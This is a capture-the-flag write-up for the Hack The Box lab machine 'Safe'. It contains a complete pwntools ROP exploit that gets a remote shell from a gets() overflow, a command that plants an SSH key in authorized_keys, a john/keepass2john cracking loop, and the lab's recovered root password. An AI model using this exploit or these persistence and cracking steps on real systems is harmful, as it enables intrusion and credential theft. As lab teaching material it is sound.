Safe (Easy)

Summary
Nmap
Nmap
Our initial target is port 80, of course. Port 1337 look suspicious and we will find out what it is soon.
Enumeration
Visit port 80 and view source code:
<!-- 'myapp' can be downloaded to analyze from here
     its running on port 1337 -->
The vulnerable program can be downloaded from:
http://10.10.10.147/myapp
User Shell: ROP
Recon
$ file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
$ checksec myapp          
[*] '/root/Dropbox/HTB/Box/Safe/myapp/myapp'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Since NX is the only protection on this binary, this is very likely to be a ROP challenge.
Pseudocode
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-70h]
​
  system("/usr/bin/uptime");
  printf("\nWhat do you want me to echo back? ", argv);
  gets(&s, 1000LL);
  puts(&s);
  return 0;
}
Analysis
It seems to be a typical ret2system challenge on x64 at first glance, but that's not the case. The absence of the string/bin/sh makes it slightly difficult.
First, note that there is an unused function named test:
test
This function does two things:
1.It moves the content of rbp to rdi. This is because the first operation of the function prologue push rbp moves the content of rbp to rsp, and then mov rdi, rsp moves the content of rsp to rdi. Pictorially, we have rbp -> rsp -> rdi. We can use this functionality to pass /bin/sh.
2.It jumps to r13 in the end. We can use this functionality to call system.
So the attacking idea is:
1.Fill the buffer with junk and stop right before rbp.
2.Store /bin/sh\x00 in rbp.
3.Store [email protected] in r13.
4.Call test.
Exploit
#!/usr/bin/env python3
from pwn import *
​
#--------Setup--------#
​
context(arch="amd64", os="linux")
elf = ELF("myapp", checksec=False)
​
local = False
if local:
    r = elf.process()
else:
    host = "10.10.10.147"
    port = 1337
    r = remote(host, port)
​
#--------ROP--------#
​
offset = 120
bin_sh = b"/bin/sh\x00"
​
# ROPgadget --binary myapp --only "pop|ret" | grep r13
pop_r13_r14_r15 = 0x0000000000401206
system_plt = elf.plt["system"]
test = elf.sym["test"]
​
payload = flat(
  bin_sh.rjust(offset, b"\x90"),
    pop_r13_r14_r15, system_plt, 0, 0, # r13 = [email protected]
    test,
)
​
r.sendlineafter("\n", payload)
r.interactive()
Run the exploit and get user shell:
user
SSH for A Better Shell
Although we have a shell, it is not the good-looking kind. To obtain a better shell, upload your id_rsa.pub to the server:
echo "<your id_rsa.pub>" > /home/user/.ssh/authorized_keys
Connect to the server via SSH:
ssh
Privilege Escalation: KeePass Master Password Cracking
This part is a little guessy. We could use loop through all the jpg files and try each one of them as key file:
#!/bin/bash
​
for i in *.JPG
do
  echo "\#--------------------------------$i--------------------------------\#"
  keepass2john -k $i MyPasswords.kdbx > hash.txt
  john hash.txt
done
It turns out that the key file is IMG_0547.JPG and the master password is bullshit. Fine. Now we can read the KeePass file with kpcli:
kpcli --key=IMG_0547.JPG --kdb=MyPasswords.kdbx
Keepass
The root password is u3v2249dl9ptv465cogl3cnpo3fyhk.
Switch user to root:
root

Linux

Delivery (Easy)

Last modified 8mo ago